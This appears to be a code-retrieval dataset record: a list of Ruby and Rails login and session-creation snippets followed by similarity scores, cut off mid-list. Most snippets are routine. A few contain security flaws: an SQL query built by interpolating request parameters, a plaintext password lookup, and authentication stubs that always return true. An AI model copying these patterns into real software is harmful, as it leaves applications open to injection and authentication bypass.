"def create\n user = User.find_by(email: params[:email])\n if user.try(:authenticate, params[:password])\n session[:user_id] = user.id\n redirect_to messages_path\n else\n flash.now[:danger] = 'Log In Failed'\n render 'new'\n end\n end",
"def create_user_session\n password = '12345678'\n user = User.make!(\n password: password,\n password_confirmation: password\n )\n UserSession.create!(\n email: user.email,\n password: password\n )\n end",
"def create\n \tuser = User.find_by(email: params[:session][:email])\n\n \tif user && user.authenticate(params[:session][:password])\n \t\trender text: user.auth_token, status: 200\n \t\telse\n \t\t\trender text: \"Invalid email or password\", status: 422\n \t\tend\t\n end",
"def login_from_basic_auth\n authenticate_with_http_basic do |login, password|\n @current_user_session = Usersession.create(:email=>login, :password=>password, :remember_me => true)\n if !(@current_user_session.save)\n print @current_user_session.errors.full_messages\n request_http_basic_authentication\n end\n end\n @current_user_session\n end",
"def authenticate_user\n if session[:user]\n return true\n else\n redirect_to :controller => 'app', :action => 'messageUserLogin', :token => \"login\"\n return\n end\n end",
"def authenticate_using_session\n return if current_user\n session_uid = session[:authpwn_suid]\n user = session_uid && Tokens::SessionUid.authenticate(session_uid)\n self.current_user = user if user && !user.instance_of?(Symbol)\n end",
"def authenticate(username, password)\n session = Session.new(username, password)\n session.connect!\n sessions[username] = session\n @username = username\n end",
"def connect_login(global = true)\n pop2sock = connect(global)\n\n\n if !(user and pass)\n print_status(\"No username and password were supplied, unable to login\")\n return false\n end\n\n print_status(\"Authenticating as #{user} with password #{pass}...\")\n res = raw_send_recv(\"HELO #{user} #{pass}\\r\\n\")\n\n if (res !~ /messages/)\n print_status(\"Authentication failed\")\n return false\n end\n\n print_status(\"Messages: #{res}\")\n return true\n end",
"def create\n user = find_user\n if user.present? && user.authenticate(params[:user][:password])\n session[:user_id] = user.id\n flash[:success] = t('.successfully_logged_in')\n redirect_to polymorphic_path(user)\n else\n flash[:danger] = user.present? ? t('.incorrect_password') : t('.incorrect_email')\n render :new\n end\n end",
"def auth\n\tchannel = Pusher['presence-cody']\n session[:user_id] ||= rand(1000000)\n if current_user\n response = channel.authenticate(params[:socket_id], {\n :user_id => session[:user_id],\n :user_info => {\n \t:name => current_user.name,\n }\n })\n render :json => response\n #Allowing people to enter the cookie queue without being logged in \n else\n response = channel.authenticate(params[:socket_id], {\n :user_id => session[:user_id],\n :user_info => {}\n })\n render :json => response\n end\n end",
"def authenticate!\n session_token = @_env['rack.session'][:session_token]\n session = SessionRepository.by_token(session_token).first\n\n if session and !session.expired?\n user = UserRepository.find session.user_id\n\n if user\n @current_session = session\n @current_user = user\n @authenticated = true\n end\n end\n end",
"def create\n \tuser = User.find_by(email: params[:session][:email])\n \tif user && user.authenticate(params[:session][:password])\n \t\tlog_in user\n \t\tredirect_back_or user\n \telse\n \t\tredirect_to login_path, notice: \"Invalid email/password combination\"\n \tend\n end",
"def create\n user = User::FindForAuthenticate.call(params)\n\n render(\n status: 422,\n json: { error: 'Invalid login or password' }\n ) and return unless user\n\n begin\n session = UserSession.create!(user: user)\n render status: 200, json: { auth_key: session.auth_key }\n rescue ActiveRecord::RecordNotUnique\n render status: 422, json: { error: 'You already logged in' }\n end\n end",
"def authenticate\n if session.expired?\n @session = get_session\n @session.save\n end\n self\n end",
"def create_session\n self.current_user = authenticate_user(params[:user][:login], params[:user][:password], :trace => true)\n \n # store remember me in token\n if logged_in?\n if params[:user][:remember_me] == \"1\"\n current_user.remember_me unless current_user.remember_token?\n cookies[cookie_auth_token] = {\n :value => self.current_user.remember_token, :expires => self.current_user.remember_token_expires_at\n }\n end\n \n # callback :after_authentication_success\n self.send(:after_authentication_success, self.current_user) if self.respond_to?(:after_authentication_success)\n \n if !performed? && request.xhr?\n render :update do |page|\n # JS code to close modal\n # update page header to show user information\n end\n elsif !performed?\n flash[:notice] = MESSAGE_LOGIN_SUCCESS\n redirect_back_or_default(authentication_success_url || '/')\n end\n else\n # callback :after_authentication_error\n self.send(:after_authentication_error, self.current_user) if self.respond_to?(:after_authentication_error)\n if !performed? && request.xhr?\n render :update do |page|\n # JS code to re-display login dialog\n end\n elsif !performed?\n flash[:error] = user_class.is_suspended?(params[:user][:login], params[:user][:password]) ? \n \"Login nicht möglich, da Benutzer gesperrt wurde.\" : \n MESSAGE_LOGIN_ERROR\n render :action => 'new'\n end\n end\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n if user&.authenticate(params[:session][:password])\n reset_session\n log_in user\n redirect_to user\n else\n flash.now[:danger] = 'Invalid email password combo'\n render 'new'\n end\n end",
"def create\n \t@user = User.find_by(e_mail: params[:session][:email].downcase)\n \tif @user && @user.authenticate(params[:session][:password])\n \t\t# Login successful, save user_id to session and redirect to user page\n \t\tlog_in @user\n \t\tredirect_to home_path\n \telse\n \t\t# Login unsuccessful, redirect to Log In Page and display an error message\n \t\tflash.now[:danger] = 'Invalid email/password combination'\n render \"new\"\n \tend\n end",
"def login\n user = User.find_by_email(params[:user][:email])\n if user == nil\n flash[:errors] = [\"Email not found!\"]\n redirect_to :back\n else\n if user.authenticate(params[:user][:password])\n session[:user_id] = user.id\n redirect_to '/channels/main'\n else\n flash[:errors] = [\"Password does not match!\"]\n redirect_to :back\n end\n end\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n if user && user.authenticate(params[:session][:password])\n log_in user\n redirect_to home_path\n else\n flash.now[:danger] = 'Invalid email/password combination'\n render 'new'\n end\n end",
"def create\n \tuser = User.find_by(email: params[:session][:email].downcase)\n \tif user and user.authenticate(params[:session][:password])\n \t\tlog_in(user)\n # redirect_to \"/users/#{user.id}\"\n redirect_to '/'\n \telse\n \t\tflash.now[:danger] = \"Invalid email/password confirmation!\"\n \t\trender 'new'\n \tend\n end",
"def create\n user = User.find_by_credentials(params[:user][:name], params[:user][:password])\n if user \n #rails creates session cookie for us, session is a hash\n #generate new session token and set our session to that token\n login!(user)\n redirect_to chirps_url\n else\n # flash used for collecting errors \n # flash - lasts for now and the next response cycle, usually for redirects\n # flash.now - only persist for this response, usually for render\n\n #we want errors to render once but not again on refresh\n flash[:errors] = [\"Invalid username/password\"]\n # render :new\n redirect_to new_session_url\n end\n end",
"def create\n @user = User.find_by(email: params[:session][:email].downcase)\n if @user&.authenticate(params[:session][:password]) # & for safe navigation\n log_in @user\n params[:session][:remember_me] == '1' ? remember(@user) : forget(@user)\n redirect_back_or @user\n else\n flash.now[:danger] = 'Invalid email/password combination'\n render 'new'\n end\n end",
"def create\n #this references the funciton we made in user.rb\n user = User.authenticate(params[:session][:email], params[:session][:password])\n if user.nil?\n flash[:login_error] = \"Couldn't find a user with those credentials\"\n redirect_to new_session_path\n else\n redirect_to user\n end\n end",
"def create\n \t user = User.find_by(name: params[:session][:name])\n if user && user.authenticate(params[:session][:password])\n log_in user\n \n\n # Set the board name in the chat as the current user. \n current_user = User.find(session[:user_id])\n if(GlobalConstants::BOARDA.getName.to_s == \"?\")\n GlobalConstants::BOARDA.setName(current_user.name)\n else\n GlobalConstants::BOARDB.setName(current_user.name)\n end\n \n # Remembers the user if the \"remember me\" box is checked. \n params[:session][:remember_me] == '1' ? remember(user) : forget(user)\n redirect_to user\n else\n flash.now[:danger] = \"Invalid name/password combination\"\n render 'new'\n end\n end",
"def setup_session_with_username\n method = 'smugmug.login.withPassword'\n setup_session_with [\"method=#{method}\",\"EmailAddress=#{@smug_user.email}\",\"Password=#{@smug_user.password}\"]\n end",
"def create\n # identifies user by provided email\n user = User.find_by_email(params[:email])\n\n # if the provided passord matches the user, session is established\n if user && user.authenticate(params[:password])\n session[:user_id] = user.id\n redirect_to user, notice: 'You have successfully logged in!'\n else\n # if password doesnt match, session is not established\n redirect_to :root\n end\n end",
"def create\n # refactor this\n user = User.find_by(username: params[:session][:username_or_email].downcase) ||\n User.find_by(email: params[:session][:username_or_email].downcase)\n if authenticated_successfully?(user)\n login(user)\n redirect_to(session[:intended_url] || root_path)\n else\n flash.now[:danger] = \"Hmm... #{$SITE_TITLE} couldn't authenicate your account with those credentials.\"\n render 'new'\n end\n end",
"def login(user, password)\n @user = user\n @password = password\n\n User.user = @user\n User.password = @password\n \n Broadcast.user = @user\n Broadcast.password = @password\n\n # Set cached variables to save a lot of REST requests.\n @logged_in = currentUserExists?\n @is_admin = checkIsAdmin?\n return @logged_in\n end",
"def create\n if SessionService.authenticate(@user, params[:password])\n # TODO Add successful log in message\n logger.debug \"#{@user.email} is trying to create a API session\"\n root_path\n else\n logger.error \"** Failure** Attempt to login as #{params[:user_name]} - rejected\"\n render text: 'Login failed', status: :unauthorized\n end\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n \n #if the user was found and the user.authenticate based on enetered password\n if user && user.authenticate(params[:session][:password])\n # we are saving user id into the session so the browsers cookies will handle this\n # this id will be used across sessions\n session[:user_id] = user.id\n \n # flash a success and redirect to the users page\n flash[:success] = \"You have successfully logged in\"\n redirect_to user_path(user)\n else\n # re render the login page, but since this is not a model backed form we wont have validation messages\n # add a message with flash\n flash.now[:danger] = \"Username or Password were incorrect\"\n render 'new'\n end\n end",
"def setup_session\n @session_id ||= if @smug_user.email\n setup_session_with_username\n else \n setup_session_anonymously\n end\n end",
"def begin_session\n begin\n true if login\n rescue\n false\n end\n end",
"def create\n reset_session\n u = User.authenticate(params[:session][:login], params[:session][:password])\n \n if u\n reset_session\n session[:user_id] = u.id\n session[:user_login] = u.login\n @current_user = User.find(session[:user_id])\n flash[:notice] = 'hi, again!'\n redirect_to dashboard_url\n else\n flash[:error] = 'Invalid login or password.'\n redirect_to root_url\n end\n end",
"def authenticate\n @current_user = Account.authenticate_user(request.authorization)\n SmsConnect.present_user = @current_user\n end",
"def create_session(config)\n options = (config[:options] || {}).dup\n session = Moped::Session.new(config[:hosts], options)\n session.use(config[:database])\n if authenticated?(config)\n session.login(config[:username], config[:password])\n end\n session\n end",
"def create\n begin\n @form = UserPasswordAuthenticationForm.new(params[:session])\n user = UserPasswordAuthenticationCommand.execute(@form)\n set_current_user(user)\n redirect_to welcome_path\n rescue UserPasswordAuthenticationCommand::InvalidCredentials, UserPasswordAuthenticationCommand::InvalidForm => e\n redirect_to root_path(email: @form.email, sign_in: 'failed')\n end\n end",
"def auth_login\n\t\tauth_hash = request.env['omniauth.auth']\n\t\tauth_response = Authorization.find_or_create(auth_hash)\n\t\t# Create a session\n\t\tuser = auth_response.user\n\t\tsession[:user_id] = user.id\n\t\tsession[:token] = auth_response.token\n\t\tsession[:secret] = auth_response.secret\n\t\tsession[:user_role] = USER\n\t\tuser_session = UserSession.create(user)\n\t\tuser_session.save\n\t\tflash.keep[:notice] = t(\"general.login_successful\")\n\t\tredirect_to root_url\n end",
"def authenticate_conversation\n unless @conversation.authenticate_user_for_conversation(current_user)\n redirect_to rooms_path\n end\n end",
"def create\n user = User.find_by_login(params[:session][:login])\n if user && user.authenticate(params[:session][:password])\n sign_in user\n redirect_back_or user_path(user.login)\n else\n flash.now[:error] = \"Ungültige Passwort / Login Kombination\"\n render 'new'\n end\n end",
"def authenticate\n user = User.authenticate(params[:username], params[:password])\n device_notification_type = params[:device_notification_type] if params[:device_notification_type]\n device_notification_type ||= :INCOMPAT_FOR_NOTIFS\n if user\n if user.activation == \"ACTIVATION_ACTIVE\"\n session = create_session(user.id, device_notification_type)\n render status: 200, json: session\n else\n render status: 405, json: {error: true, message: \"Your account has not yet been activated. Please check your emails for an activation link.\"}\n end\n else\n render status: 403, json: {error: true, message: \"Invalid username or password.\"}\n end\n\tend",
"def create\n # logging in can be done via email or username interchangeably\n user = User.find_by email: params[:session][:username].downcase\n # ||= only runs the find command if the user was not set by the above\n user ||= User.find_by username: params[:session][:username].downcase\n\n if user && user.authenticate(params[:session][:password])\n # Log the user in and redirect to the user's show page\n log_in user\n flash[:success] = \"Logged in as #{user.username}\"\n redirect_to user_url(user)\n else\n # Flash an error message\n flash.now[:danger] = 'Invalid email or password'\n render 'new'\n end\n end",
"def create\n\n user = User.find_by(email: params[:session][:email].downcase)\n\n if(user && user.authenticate(params[:session][:password]))\n log_in(user)\n redirect_to(root_path)\n flash[:success] = \"Logado com sucesso!\"\n else\n flash.now[:danger] = 'Combinação inválida de e-mail/senha'\n render('new')\n end\n\n end",
"def create\n @user = User.find_by_email(params[:session][:email])\n if @user && @user.authenticate(params[:session][:password])\n session[:user_id] = @user.id\n ensure_changed_password\n #redirect_to '/songs'\n else\n redirect_to '/login'\n flash[:error] = \"Oops, something went wrong! Ensure you type in the correct password.\n If you don't have an account, please contact the administrator.\"\n end\n end",
"def create\n user = User.find_by_email( params[:session][:email].downcase )\n\n if user and user.authenticate( params[:session][:password] )\n sign_in user \n redirect_to root_url\n else\n flash[:error] = \"invalid email/password\"\n render :action => 'new' \n end\n end",
"def create\n # Find the user\n user = User.find_by(email: params[:session][:email].downcase)\n # Get the password from the parameters\n password = params[:session][:password]\n # Try to authenticate the user\n if user && user.authenticate(password)\n flash[:success] = \"Welcome back #{user.username}\"\n # Store the user id in the session\n session[:user_id] = user.id\n # Redirect the user to its page\n redirect_to user_path(user)\n else\n # Since we are using render, there won't be another request, so we need to use flash.now\n flash.now[:danger] = \"Wrong email or password. Please try again.\"\n render :new\n end\n end",
"def create\n @user = User.find_by(email: session_params[:email])\n if @user && @user.authenticate(session_params[:password])\n # Save the user ID in the session so it can be used in\n # subsequent requests\n session[:user_id] = @user.id\n flash[:notice] = \"Welcome, #{@user.email}!\"\n redirect_to statuses_path\n else\n flash[:alert] = \"Please log in again\"\n render \"new\"\n end\n end",
"def create\n\t\tuser = User.find_by_email(params[:session][:email].downcase)\n\t\tif user && user.authenticate(params[:session][:password])\n\t\t\t# login the user\n\t\t\tsign_in user\n\t\t\tflash[:success] = \"Signed in\";\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\t# something went wrong\n\t\t\tflash[:failure] = \"Incorrect email/password\";\n\t\t\trender \"new\"\n\t\tend\n\tend",
"def create\n user = User.authenticate(params[:email], params[:password])\n if user\n # token = (0...20).map { ('a'..'z').to_a[rand(26)] }.join\n #session[:token] = token\n session[:user_id] = user.id\n # user.update(session: token)\n redirect_to root_url, :notice => \"Logged in!\" \n else\n flash.now.alert = \"Invalid credentials.\"\n render \"new\"\n end\n end",
"def create\n #gets the user\n user = User.find_by_credentials(params[:user][:email], params[:user][:password])\n \n # if we found it, generate a new session token, change it on the user\n # instance as well as the cookie\n if !user.nil?\n log_in_user!(user)\n flash.now[:success] = \"Login successful\"\n redirect_to user_url(user)\n else\n flash.now[:error] = \"Invalid email/password combo\"\n redirect_to :new\n end\n end",
"def login_from_session\n self.current_user = User.find_by_id( session[ :user_id ] ) if session[ :user_id ]\n end",
"def create\n @user = User.find_by(username: params[:username])\n @auth = request.env[\"omniauth.auth\"]\n if @user == nil && @auth == nil\n reject_credentials\n else\n if @user != nil\n if @user.authenticate(params[:password])\n start_session(@user.id)\n else\n reject_credentials\n end\n elsif check_credentials(@auth.uid) != nil\n start_session(check_credentials(@auth.uid).id)\n else\n user = User.new_twitter_user(@auth)\n start_session(user.id)\n end\n end\n end",
"def create\n\t\tuser = User.find_by_email(params[:session][:email])\n\t\tif user && user.authenticate(params[:session][:password])\n\t\t\tsign_in user\n\t\t\tredirect_back_or user\n\t\telse\n\t\t\tflash.now[:error] = \"Invalid email/password combination\"\n\t\t\trender 'new'\n\t\tend\n\tend",
"def authenticate_using_http_basic\n return if current_user\n authenticate_with_http_basic do |email, password|\n signin = Session.new email: email, password: password\n auth = User.authenticate_signin signin\n self.current_user = auth unless auth.kind_of? Symbol\n end\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n if user && user.authenticate(params[:session][:password])\n flash[:success] = 'Thank you for signing in!'\n sign_in(user)\n redirect_to root_path\n else\n flash.now[:error] = \"Invalid email/password combination\"\n render 'new'\n end\n end",
"def create \n user = User.find_by(:email => params[:session][:email]) #make sure that they are saved as a user. if not, returns nil. if yes, returns user.\n if user && user.authenticate(params[:session][:password]) #if both of these work, log user in\n login(user)\n redirect_to user\n else \n redirect_to :back\n end\n end",
"def create_session\n @connection.create_session(@config || {})\n end",
"def create\n user = User.find_by_username(params[:username])\n if user && user.authenticate(params[:password])\n if user.pgp_2fa\n session[:user_id_for_2fa] = user.id\n redirect_to sessions_pgp_2fa_path, notice: 'Username and password authentication was successful.'\n else\n # This will do redirect to root_path.\n auth_success(user)\n end\n else\n auth_failure(user)\n end\n end",
"def create\n #Try to find the user in the database\n user = User.find_by(email: params[:session][:email].downcase)\n #If the password matches, log the user in and redirect them to the user profile page\n if user && user.authenticate(params[:session][:password])\n log_in(user) #store id in cache\n redirect_to user_url(user)\n #Display error message and refresh the page if password is invalid\n else\n flash.now[:danger] = \"Invalid username or password\"\n #refresh the page\n render 'new'\n end\n end",
"def create\n user = User.find_by_email(sessions_params[:email])\n if user and user.authenticate(sessions_params[:password])\n login user\n end\n redirect_to rooth_path\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n\n # If the user exists and the password entered is valid\n if !user.blank? && user.authenticate(params[:session][:password])\n log_in user\n redirect_to root_path\n else\n flash[:error] = 'Your email or password is incorrect.'\n render 'new'\n end\n end",
"def login\n \t\t response = @client.request :login do\n soap.body = { username: self.zconfig.user_name, password: self.zconfig.password}\n \t\t end\n \t\t response.to_hash\n \t \t self.session = response.to_hash[:login_response][:result][:session]\n end",
"def login_related(msg)\n if Login === msg\n if @connection.server.authenticator.allowed?(\n msg.user_name, msg.password)\n @connection.user_name = msg.user_name\n @connection.send_msg(LoginOK.new)\n @connection.room.add_connection @connection\n else\n @connection.send_msg(LoginWrong.new)\n end\n return true\n elsif not @connection.authorized?\n @connection.send_msg Kick.new(\n \"Unauthorized connections aren't allowed to send '#{msg.class}'!\")\n @connection.force_close\n return true\n end\n false\n end",
"def authenticate\n begin\n if !session[:user_guid]\n redirect_to(root_path)\n elsif session[:user_guid] != User.find_by(id: session[:user_id].to_i).guid\n redirect_to(logout_user_path)\n end\n rescue\n redirect_to(logout_user_path)\n end\n end",
"def ascii_login_and_enable(session,new_body)\n authen_start = session.authen_start\n authen_cont = session.authen_cont\n\n if (!session.reply.body) # no previous conversation has taken place\n if (authen_start.body.user_len == 0)\n # request username\n new_body.status_getuser!\n new_body.server_msg = @tacacs_daemon.login_prompt\n else\n # request password\n session.getuser = authen_start.body.user\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n end\n\n else # make sure we got what we asked for in last reply\n if (session.reply.body.status_getuser?)\n if (authen_cont.body.user_msg_len != 0)\n # request password\n session.getuser = authen_cont.body.user_msg\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Username requested but none provided.\"\n end\n\n elsif (session.reply.body.status_getpass?)\n if (authen_cont.body.user_msg_len != 0)\n # determine pass/fail status\n username = session.getuser\n password = authen_cont.body.user_msg\n pass_fail = authenticate(username, password, session.authen_start)\n\n # set reply based on pass_fail\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Password requested but none provided.\"\n end\n\n else\n # all other statuses are in error, so some sort of internal error must have occured\n new_body.status_error!\n new_body.server_msg = \"Internal Server Error. Unexpected status for ASCII login/enable: #{session.reply.body.status}\"\n @tacacs_daemon.log(:erro,['msg_type=Authentication', \"message=#{new_body.server_msg}\", \"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n\n end\n end\n\n return(nil)\n end",
"def create\n user = User.find_by(username: params[:session][:username])\n if (user && (!user.disabled? && user.authenticate(params[:session][:password]))) \n log_in user \n redirect_back_or active_jobs_path \n else \n flash.now[:danger] = \"Invalid Username/Password Combination\" \n render :new\n end\n end",
"def create\n validate_params; return if performed?\n user = User.find_by(user_name: params[:session][:user_name])\n if user && user.authenticate(params[:session][:password])\n log_in user\n redirect_to root_path\n else\n flash.now[:error] = I18n.t('errors.log_in.create')\n render :new\n end\n end",
"def login(username, password)\n open_session do |sess|\n# If we want to emulate https\n# sess.https!\n sess.post_via_redirect \"/sessions\", \"session[login_name]\" => username, \"session[password]\" => password\n assert_equal '/', sess.path\n assert_equal Constants::LOGGED_IN_NOTICE, sess.flash[:notice]\n# Unemulate https\n# sess.https!(false)\n end\n end",
"def create\n \n user = User.find_by_email(params[:email])\n Rails.logger.debug(\"Attempting to authenticate: #{user.inspect}\")\n if user && user.authenticate(params[:password])\n session[:user_id] = user.id\n redirect_to root_path, :notice => 'You have been successfully logged in.'\n else\n render 'new'\n end\n\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def login_from_session\n self.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\n end",
"def create\n\t# user = User.find_by_email(params[:session][:email])\n\t# if user.authenticate(params[:session][:password])\n\t# \tsign_in user\n\t# \tflash[:message] = \"Successfully logged in!\"\n\t# \tredirect_to feed_path(user.id)\n\t# else\n\t# \tflash[:error] = \"Your email or password is invalid\"\n\t# \tredirect_to signin_path\n\t# end\n\tUser.find(auth).nil? ? @user = User.find(auth) : @user = User.create(auth) \n\tsign_in @user\n\tredirect_to \"/\"\n\n end",
"def authenticate email, pass, expire=nil\n email.downcase!\n user = User.get(email)\n if user.nil? or not user.origin.split(',').include?('local')\n return false\n end\n if user.password == pass && !pass.empty?\n generate_and_set_session_key(email, expire)\n return true\n end\n false\n end",
"def create\n if user = User.authenticate_with_credentials(params[:email], params[:password])\n session[:user_id] = user.id\n redirect_to :root\n else\n @error_login='Invalid Username/password!'\n render :new, alert: @error_login\n end\n end",
"def create\n user = User.find_by(email: params[:email])\n if user && user.authenticate(params[:password])\n log_in(user)\n flash[\"success\"] = \"Connection réussie.\"\n redirect_to root_path\n else\n flash[\"danger\"] = \"Adresse email ou mot de passe non valide.\"\n render :new\n end\n end",
"def login!(passwd = nil)\n self.password = passwd || self.password\n response = client.login(username.to_s, password.to_s)\n apply_attributes! response.result\n self.session_token.present?\n end",
"def create\r\n\t\t# find the user based on the email\r\n\t\tuser = User.find_by(email: params[:session][:email].downcase) # all our emails in our database is downcased\r\n\t\t# check if the email is valid\r\n\t\tif user && user.authenticate(params[:session][:password])\r\n\t\t\t# simulate logging in\r\n\t\t\tsession[:user_id] = user.id # saving the user id in the session. The browsers cookies is going to handle this\r\n\t\t\t# saving the users id in the session hash which is backed by the browser\r\n\t\t\t# display a message\r\n\t\t\tflash[:success] = \"You have successfully logged in\"\r\n\t\t\tredirect_to user_path(user)\r\n\t\telse\r\n\t\t\t# give a message since it is not a model back form\r\n\t\t\tflash.now[:danger] = \"There was something wrong with your login information\"\r\n\t\t\t# flash.new persists for one http request. When we redirect the message will display in the next screen\r\n\t\t\t# render the new template to login\r\n\t\t\trender 'new'\r\n\t\tend\r\n\tend",
"def require_login auth_data\r\n username = auth_data[:login][:email]\r\n password = auth_data[:login][:password] \r\n if username && password\r\n begin\r\n user = {\"email\"=>username, \"password\"=>password}\r\n newParams = {\"user\" => user}\r\n logger.info(\"Authentication::Params---#{newParams}\")\r\n @userSession = smvLogin(newParams, request.env)\r\n smv_status = {\r\n :statusCode => @userSession.statusCode,\r\n :value => @userSession.value, \r\n :msg => @userSession.message\r\n }\r\n logger.info(\"Authentication::require_login::userSession---#{smv_status}\")\r\n if smv_status[:statusCode].blank? || smv_status[:statusCode]==0\r\n session[:userSession] = smv_status[:value].sessionGuid\r\n session[:userEmail]= username\r\n current_user_status = current_user\r\n if current_user_status[:statusCode]==-1 \r\n smv_status =current_user_status\r\n loggedOut\r\n end\r\n end\r\n rescue Exception => exc\r\n logger.info(\"Authentication::User Session:-- #{session[:userSession]}, #{exc.message}\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"Java API is throwing some exception:-- #{exc.message}\"\r\n }\r\n end\r\n else\r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => 'Please enter a valid username and password'\r\n }\r\n end\r\n return smv_status\r\n end",
"def create\n # Find the user by their name\n user = User.find_by(name: params[:session][:name].downcase)\n # If the user exists and the user credentials are correct\n if user && user.authenticate(params[:session][:password])\n # Log the user in\n login user\n # Take the user to their profile page\n redirect_to me_path\n else\n # Notify the user that their credentials are incorrect\n flash[:error] = 'Invalid email/password combination'\n # Redirect to the home page\n redirect_to root_path\n end\n end",
"def imap_authenticate()\n imap_connect()\n @imap_client.authenticate('XOAUTH2', @user_data['email'],\n @access_token_obj.token)\n end",
"def create\n \n # remove any existing session of this user\n # TODO: update custom validations in model to work with this\n @session = Session.where(\"sender_id = #{session_params[:sender_id]} OR recipient_id = #{session_params[:sender_id]}\").first\n @session.destroy if @session\n \n @session = Session.new(session_params)\n \n if @session.valid?\n @session.session_id = Session.createSession(request.remote_addr).to_s\n @session.sender_token = Session.generateToken(@session.session_id, @session.sender.id.to_s)\n @session.recipient_token = Session.generateToken(@session.session_id, @session.recipient.id.to_s)\n end\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to @session, notice: 'Session was successfully created.' }\n format.json { render action: 'show', status: :created, location: @session }\n else\n format.html { render action: 'new' }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n email = params[:session][\"email\"] # both will work ->: will use less memory\n password = params[:session][:password]\n user = User.authenticate(email, password)\n \n if user # if auth is successful\n session[:user_id] = user.id # this is a session\n flash[:notice] = \"You are logged in.\"\n redirect_to session[:referrer] || :root # to whatever is the root of your webserver ()\n #:referrer -> send to page that started from (if tried to edit if not logged in)\n else # if wrong credentials\n flash[:error] = \"add to your FAIL blog and Please try again!\"\n render :action => \"new\" # just shows def new end (at the beginning again)\n end\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n if user && user.authenticate(params[:session][:password])\n sign_in user\n redirect_back_or user\n else\n flash.now[:error] = 'Invalid email/password combination'\n render 'new'\n end\nend",
"def authenticate\n unless session[:user_id]\n session['return_url'] = request.url\n logger.debug request.url\n # Recreate user abilities on each login\n @current_ability = nil\n redirect_to polymorphic_url(:new_user_session)\n end\n end",
"def login user, password\n @username = user\n @ctx.login user, password\n end",
"def authenticate\n authenticate_or_request_with_http_basic(\"myTaskboard Login\") do |email, password|\n user = User.where(email: email, password: password).first rescue nil\n redirect_to controller: :login, action: :index, status: 403 and return if user.nil?\n\n session[:current_user_id] = user.id #rescue nil\n end\n end",
"def authenticate_user_from_token!\n\t\ttoken = request.headers[\"x-session-token\"].presence\n\t\tuser = token && User.find_by_authentication_token(token.to_s)\n\t\tif user\n\t\t\tsign_in user, store: false\n\t\tend\n\tend",
"def new_user_session(user)\n session = new_session\n session.login!(user)\n return session\n end",
"def create\n @user = User.find_by(email: params[:session][:email].downcase)\n if @user && @user.authenticate(params[:session][:password])\n sign_in\n redirect_to '/posts', notice: 'Great, you successfully logged in!'\n else\n redirect_to '/login', notice: 'Uh oh, failed to authenticate. Please try again.'\n end\n end",
"def create\n @user = User.find_by_credentials(params[:user][:email],params[:user][:password])\n\n if @user.nil?\n flash.now[:errors] = [\"incorrect email/password combination\"]\n render :log_in\n else\n @user.reset_session_token!\n session[:session_token] = @user.session_token\n # fail\n redirect_to user_url(@user)\n end\n end",
"def authenticate(username, password)\n return unless username && password\n password = Vines::Kit.hmac(password, username)\n user = find_user_by_jid(username)\n (user && user.password == password) ? user : nil\n end",
"def login(username, password)\n user = User.authenticate(username, password)\n\n unless !user\n @session[:user] = user.id\n end\n\n user\n end",
"def login(user, password = 'benrocks')\n post user_sessions_url, params: { user_session: {email: user.email, password: password} }\n # Also, we verify after that connection is valid (have a `user_credentials`)\n assert_equal controller.session[\"user_credentials\"], user.persistence_token\n end",
"def create\n user = User.find_by_email(params[:session][:email])\n respond_to do |format|\n if user && user.authenticate(params[:session][:password])\n sign_in user # create a cookie\n format.json { render json: user.active_model_serializer.new(user, {}) }\n format.html { redirect_back_or user }\n else\n #raise SessionsController::InvalidAuth\n render 'new'\n end\n end\n end",
"def login(params)\n begin\n # This is a object of User model\n user = User.new\n\n presentable_error_response(\"BLANK_EMAIL_PASSWORD\") if all_params_present(params[:email], params[:password])\n presentable_error_response(\"INVALID_EMAIL_PASSWORD\") unless user.find_email_password(params[:email],params[:password])\n\n return prepare_success_response(user.create_authentication_token(user.find_data_by_email((params[:email]).downcase)))\n rescue DataBaseException => e\n presentable_error_response(\"INTERNAL_ISSUE\")\n end\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def receive_plain_auth user, password\n true\n end",
"def receive_plain_auth user, password\n true\n end"
] |
[
"0.68972",
"0.6805464",
"0.6733524",
"0.6666626",
"0.6645078",
"0.6594873",
"0.6549482",
"0.65463686",
"0.6469449",
"0.6467599",
"0.6384241",
"0.63797206",
"0.6375418",
"0.6369394",
"0.63602734",
"0.635577",
"0.6317938",
"0.63097334",
"0.6300138",
"0.628385",
"0.6264617",
"0.6244044",
"0.62377495",
"0.6232942",
"0.62205577",
"0.62161005",
"0.6196412",
"0.61913204",
"0.6177367",
"0.61685693",
"0.6166077",
"0.6165691",
"0.6163532",
"0.61626667",
"0.6162111",
"0.61537397",
"0.6148653",
"0.61479634",
"0.6145512",
"0.6142032",
"0.61374867",
"0.6134889",
"0.6133536",
"0.6128132",
"0.6124119",
"0.6118541",
"0.6115698",
"0.61114895",
"0.6107017",
"0.6094658",
"0.60837036",
"0.60831016",
"0.6075166",
"0.60737526",
"0.60683924",
"0.60678875",
"0.60673076",
"0.60451853",
"0.60428494",
"0.6039193",
"0.6039064",
"0.6033553",
"0.6030616",
"0.60273457",
"0.60235965",
"0.6020363",
"0.6012658",
"0.6010317",
